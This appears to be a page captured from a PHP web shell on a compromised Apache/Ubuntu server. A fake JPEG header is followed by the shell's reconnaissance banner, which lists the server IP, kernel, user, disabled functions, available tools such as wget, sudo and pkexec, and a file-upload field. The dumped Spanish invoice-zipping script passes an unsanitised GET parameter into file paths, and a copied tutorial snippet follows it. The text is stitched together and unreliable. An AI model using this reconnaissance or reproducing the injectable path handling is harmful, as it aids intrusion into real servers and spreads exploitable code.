����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.222.188.218 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/t/sae/appsae/core/app/view/ |
Upload File : |
<?php //recojemos el id de las venta t_sale $id = $_GET['id']; $zip = new ZipArchive(); $filename = 'facturas.zip'; if($zip->open($filename,ZIPARCHIVE::CREATE)===true) { $zip->addFile('C:/xampp/htdocs/sdk/timbrados/cfdi_factura_'.$id.'.pdf'); $zip->addFile('C:/xampp/htdocs/sdk/timbrados/cfdi_factura_'.$id.'.xml'); $zip->close(); echo 'Archivo zip creado nombre: '.$filename; } else { echo 'Error creando '.$filename; } /** * Trabajando con archivos ZIP en PHP * Ejemplo 4: agregar directorio y contenido de manera recursiva * * @author parzibyte */ $zip = new ZipArchive(); // Ruta absoluta $nombreArchivoZip = __DIR__ . "/4-directorio333.zip"; $rutaDelDirectorio = __DIR__ . "/"; if (!$zip->open($nombreArchivoZip, ZipArchive::CREATE | ZipArchive::OVERWRITE)) { exit("Error abriendo ZIP en $nombreArchivoZip"); } // Si no hubo problemas, continuamos // Crear un iterador recursivo que tendrá un iterador recursivo del directorio $archivos = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($rutaDelDirectorio), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($archivos as $archivo) { // No queremos agregar los directorios, pues los nombres // de estos se agregarán cuando se agreguen los archivos if ($archivo->isDir()) { continue; } $rutaAbsoluta = $archivo->getRealPath(); // Cortamos para que, suponiendo que la ruta base es: C:\imágenes ... // [C:\imágenes\perro.png] se convierta en [perro.png] // Y no, no es el basename porque: // [C:\imágenes\vacaciones\familia.png] se convierte en [vacaciones\familia.png] $nombreArchivo = substr($rutaAbsoluta, strlen($rutaDelDirectorio) + 1); $zip->addFile($rutaAbsoluta, $nombreArchivo); } // No olvides cerrar el archivo $resultado = $zip->close(); if ($resultado) { echo "\nArchivo creado exitosamente"; } else { echo "Error creando archivo"; }